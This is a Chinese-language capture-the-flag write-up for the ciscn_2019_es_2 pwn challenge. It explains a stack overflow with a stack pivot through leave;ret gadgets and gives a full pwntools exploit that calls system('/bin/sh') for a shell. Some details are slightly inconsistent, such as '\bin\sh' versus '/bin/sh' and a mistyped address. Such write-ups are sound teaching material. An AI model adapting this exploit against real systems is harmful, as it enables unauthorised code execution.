题目链接
安全策略
[*] '/root/ctf/buuctf/pwn/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)
分析
溢出点
sym.vul
函数存在两个溢出点,read函数向0x28大小的栈中读入0x30个字节。但问题在于可以操作的空间只有4个字节,无法传入一个完整的ROP链。
注意到题目提供了两个溢出,这个很值得玩味,猜测应该是第一个用来溢出,第二个用来劫持。
栈地址
如下图栈结构所示,注意到ebp的值0xfffd898
距离输入的aaaa
字符串的地址偏移是0x38。
00:0000│ esp 0xffffd850 ◂— 0x0
01:0004│ 0xffffd854 —▸ 0xffffd860 ◂— 'aaaa\n'
02:0008│ 0xffffd858 ◂— 0x30 /* '0' */
03:000c│ 0xffffd85c —▸ 0xf7fcfd60 (_IO_2_1_stdout_) ◂— 0xfbad2887
04:0010│ ecx 0xffffd860 ◂— 'aaaa\n'
05:0014│ 0xffffd864 ◂— 0xa /* '\n' */
06:0018│ 0xffffd868 ◂— 0x0
... ↓ 5 skipped
0c:0030│ 0xffffd880 —▸ 0x80486d8 ◂— push edi /* "Welcome, my friend. What's your name?" */
0d:0034│ 0xffffd884 —▸ 0xffffd944 —▸ 0xffffdac9 ◂— '/root/ctf/buuctf/pwn/ciscn_2019_es_2'
0e:0038│ ebp 0xffffd888 —▸ 0xffffd898 ◂— 0x0
因此可以利用第一组read-print泄露ebp的值,从而获得栈空间的地址。
payload1 = b'a' * 0x28
当然这里也可以利用其他的方式泄露栈空间地址,下面完整exp就是用的另一种方式,但是在输出的时候,有可能因为中间出现\x00
而失败。
栈劫持
要劫持到栈的话,需要用到gadgets leave; ret
利用gdb调试到0x80485fd leave
指令,此时$ebp = 0xffffd888
, 而[0xffffd888] = 0xffffd898
。执行后$esp = 0xffffd888 + 0x4 = 0xffffd88c
,$ebp=0xffffd898
。
因此如果我们在read写入时,将ebp覆盖为一个可控的地址,同时在这个地址写入rop链,就能成功劫持程序。
如果我们覆盖栈的返回地址为leave;ret
gadget,正常运行到0x80485fd leave
指令时,ebp的结构如下,
# ebp_n 表示栈中的地址
# [ebp_1] = value, ebp_1也就是我们利用read溢出时覆盖的值
$ebp -> ebp_0 -> ebp_1 <- value
第一次正常的leave-ret运行后
$ebp -> ebp_1 <- value
$esp -> ebp_0 + 0x4
第二次运行溢出的leave-ret后
$ebp -> value
$esp -> ebp_1 + 0x4
如果我们令ebp_1 + 0x4 指向栈开始的位置,并且在栈中写入system的ROP链,就能通过两次leave-ret返回到system。
# padding_addr 是第一次时获取的字符串在栈中的存储地址
# 按下面方式构造payload时,\bin\sh的地址是padding_addr + 0xc * 3
payload2 = p32(system) + p32(0) + p32(padding_addr + 0xc) + b'\bin\sh'
payload2 = payload2.ljust(0x28, b'\x00')
# ebp_1 + 0x4 = padding_addr, 因此ebp_1 = padding_addr - 0x4
payload2 += p32(padding_addr - 0x4) # 覆盖ebp
payload2 += p32(leave_ret)
exp
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386')
if len(sys.argv) > 1:
conn = remote('node4.buuoj.cn',)
else:
conn = process(sys.argv[0][:-7])
gdb.attach(conn, 'b *0x08048595')
# gadgets
hack = 0x0804854b
system = 0x08048400
flag = 0x080486c5
echo_flag = 0x080486c0
vuln = 0x08048595
leave_ret = 0x08048562
conn.recvuntil(b'your name?\n')
payload1 = cyclic(0x28 + 0x4)
conn.send(payload1)
res = conn.recvline()
stack_addr = u32(res[-5:-1])
padding_addr = stack_addr - 0x50
print(f'stack_addr: {hex(padding_addr)}')
payload2 = p32(system) + p32(0) + p32(padding_addr + 0xc) + b'/bin/sh'
payload2 = payload2.ljust(0x28, b'\x00') + p32(padding_addr-4) + p32(leave_ret)
conn.send(payload2)
conn.recv()
conn.interactive()